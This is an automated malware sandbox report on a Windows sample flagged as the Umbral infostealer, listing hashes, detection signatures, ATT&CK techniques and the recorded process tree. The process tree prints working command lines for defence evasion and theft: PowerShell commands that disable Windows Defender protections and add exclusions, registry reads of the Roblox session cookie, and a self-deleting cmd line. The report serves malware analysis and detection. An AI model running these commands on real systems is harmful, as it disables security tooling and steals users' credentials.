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Analysis
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max time kernel
121s -
max time network
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platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
01/12/2024, 03:07
Behavioral task
behavioral1
Sample
e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe
Resource
win7-20240708-en
General
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Target
e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe
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Size
229KB
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MD5
1e10af7811808fc24065f18535cf1220
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SHA1
65995bcb862aa66988e1bb0dbff75dcac9b400c7
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SHA256
e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed
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SHA512
f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc
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SSDEEP
6144:lloZMQfsXtioRkts/cnnK6cMldKRn/1+mpnsl3ySXCkb8e1muhi:noZItlRk83MldKRn/1+mpnsl3ySXze
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2988-1-0x0000000001120000-0x0000000001160000-memory.dmp family_umbral -
Umbral family
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1856 powershell.exe 2164 powershell.exe 2764 powershell.exe 2620 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe -
Deletes itself 1 IoCs
pid Process 2436 cmd.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2436 cmd.exe 2448 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2872 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2448 PING.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1856 powershell.exe 2164 powershell.exe 2764 powershell.exe 2628 powershell.exe 2620 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe Token: SeDebugPrivilege 1856 powershell.exe Token: SeDebugPrivilege 2164 powershell.exe Token: SeDebugPrivilege 2764 powershell.exe Token: SeDebugPrivilege 2628 powershell.exe Token: SeIncreaseQuotaPrivilege 1256 wmic.exe Token: SeSecurityPrivilege 1256 wmic.exe Token: SeTakeOwnershipPrivilege 1256 wmic.exe Token: SeLoadDriverPrivilege 1256 wmic.exe Token: SeSystemProfilePrivilege 1256 wmic.exe Token: SeSystemtimePrivilege 1256 wmic.exe Token: SeProfSingleProcessPrivilege 1256 wmic.exe Token: SeIncBasePriorityPrivilege 1256 wmic.exe Token: SeCreatePagefilePrivilege 1256 wmic.exe Token: SeBackupPrivilege 1256 wmic.exe Token: SeRestorePrivilege 1256 wmic.exe Token: SeShutdownPrivilege 1256 wmic.exe Token: SeDebugPrivilege 1256 wmic.exe Token: SeSystemEnvironmentPrivilege 1256 wmic.exe Token: SeRemoteShutdownPrivilege 1256 wmic.exe Token: SeUndockPrivilege 1256 wmic.exe Token: SeManageVolumePrivilege 1256 wmic.exe Token: 33 1256 wmic.exe Token: 34 1256 wmic.exe Token: 35 1256 wmic.exe Token: SeIncreaseQuotaPrivilege 1256 wmic.exe Token: SeSecurityPrivilege 1256 wmic.exe Token: SeTakeOwnershipPrivilege 1256 wmic.exe Token: SeLoadDriverPrivilege 1256 wmic.exe Token: SeSystemProfilePrivilege 1256 wmic.exe Token: SeSystemtimePrivilege 1256 wmic.exe Token: SeProfSingleProcessPrivilege 1256 wmic.exe Token: SeIncBasePriorityPrivilege 1256 wmic.exe Token: SeCreatePagefilePrivilege 1256 wmic.exe Token: SeBackupPrivilege 1256 wmic.exe Token: SeRestorePrivilege 1256 wmic.exe Token: SeShutdownPrivilege 1256 wmic.exe Token: SeDebugPrivilege 1256 wmic.exe Token: SeSystemEnvironmentPrivilege 1256 wmic.exe Token: SeRemoteShutdownPrivilege 1256 wmic.exe Token: SeUndockPrivilege 1256 wmic.exe Token: SeManageVolumePrivilege 1256 wmic.exe Token: 33 1256 wmic.exe Token: 34 1256 wmic.exe Token: 35 1256 wmic.exe Token: SeIncreaseQuotaPrivilege 2512 wmic.exe Token: SeSecurityPrivilege 2512 wmic.exe Token: SeTakeOwnershipPrivilege 2512 wmic.exe Token: SeLoadDriverPrivilege 2512 wmic.exe Token: SeSystemProfilePrivilege 2512 wmic.exe Token: SeSystemtimePrivilege 2512 wmic.exe Token: SeProfSingleProcessPrivilege 2512 wmic.exe Token: SeIncBasePriorityPrivilege 2512 wmic.exe Token: SeCreatePagefilePrivilege 2512 wmic.exe Token: SeBackupPrivilege 2512 wmic.exe Token: SeRestorePrivilege 2512 wmic.exe Token: SeShutdownPrivilege 2512 wmic.exe Token: SeDebugPrivilege 2512 wmic.exe Token: SeSystemEnvironmentPrivilege 2512 wmic.exe Token: SeRemoteShutdownPrivilege 2512 wmic.exe Token: SeUndockPrivilege 2512 wmic.exe Token: SeManageVolumePrivilege 2512 wmic.exe Token: 33 2512 wmic.exe Token: 34 2512 wmic.exe -
Suspicious use of WriteProcessMemory 36 IoCs
description pid Process procid_target PID 2988 wrote to memory of 2484 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 30 PID 2988 wrote to memory of 2484 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 30 PID 2988 wrote to memory of 2484 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 30 PID 2988 wrote to memory of 1856 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 32 PID 2988 wrote to memory of 1856 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 32 PID 2988 wrote to memory of 1856 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 32 PID 2988 wrote to memory of 2164 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 35 PID 2988 wrote to memory of 2164 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 35 PID 2988 wrote to memory of 2164 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 35 PID 2988 wrote to memory of 2764 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 37 PID 2988 wrote to memory of 2764 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 37 PID 2988 wrote to memory of 2764 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 37 PID 2988 wrote to memory of 2628 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 39 PID 2988 wrote to memory of 2628 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 39 PID 2988 wrote to memory of 2628 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 39 PID 2988 wrote to memory of 1256 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 41 PID 2988 wrote to memory of 1256 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 41 PID 2988 wrote to memory of 1256 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 41 PID 2988 wrote to memory of 2512 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 44 PID 2988 wrote to memory of 2512 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 44 PID 2988 wrote to memory of 2512 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 44 PID 2988 wrote to memory of 1380 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 46 PID 2988 wrote to memory of 1380 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 46 PID 2988 wrote to memory of 1380 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 46 PID 2988 wrote to memory of 2620 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 48 PID 2988 wrote to memory of 2620 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 48 PID 2988 wrote to memory of 2620 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 48 PID 2988 wrote to memory of 2872 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 50 PID 2988 wrote to memory of 2872 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 50 PID 2988 wrote to memory of 2872 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 50 PID 2988 wrote to memory of 2436 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 52 PID 2988 wrote to memory of 2436 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 52 PID 2988 wrote to memory of 2436 2988 e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe 52 PID 2436 wrote to memory of 2448 2436 cmd.exe 54 PID 2436 wrote to memory of 2448 2436 cmd.exe 54 PID 2436 wrote to memory of 2448 2436 cmd.exe 54 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2484 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe"C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe"2⤵
- Views/modifies file attributes
PID:2484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1856
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1256
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2512
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1380
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2620
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2872
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C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed.exe" && pause2⤵
- Deletes itself
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2448
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\783W9CP7PZX0ZP4HYBMO.temp
Filesize7KB
MD5a3081183a2311133bc6415c7cf792608
SHA1bbc66bf91e08059f7f659ee05ac0ed7e8c45a9eb
SHA25624ac04b7889fd62b2660181aa839590d4cf5cdb44b686e6407eb286dc79f2ebc
SHA512a8c7fed2700482be6ce4c1af48b8088a2e204b9aa23294d06b131170c3bf70f7de6623fa6e4b52148e5407ade57f4fd4b47b69f391cc2eaf3f41d9dc7fed7964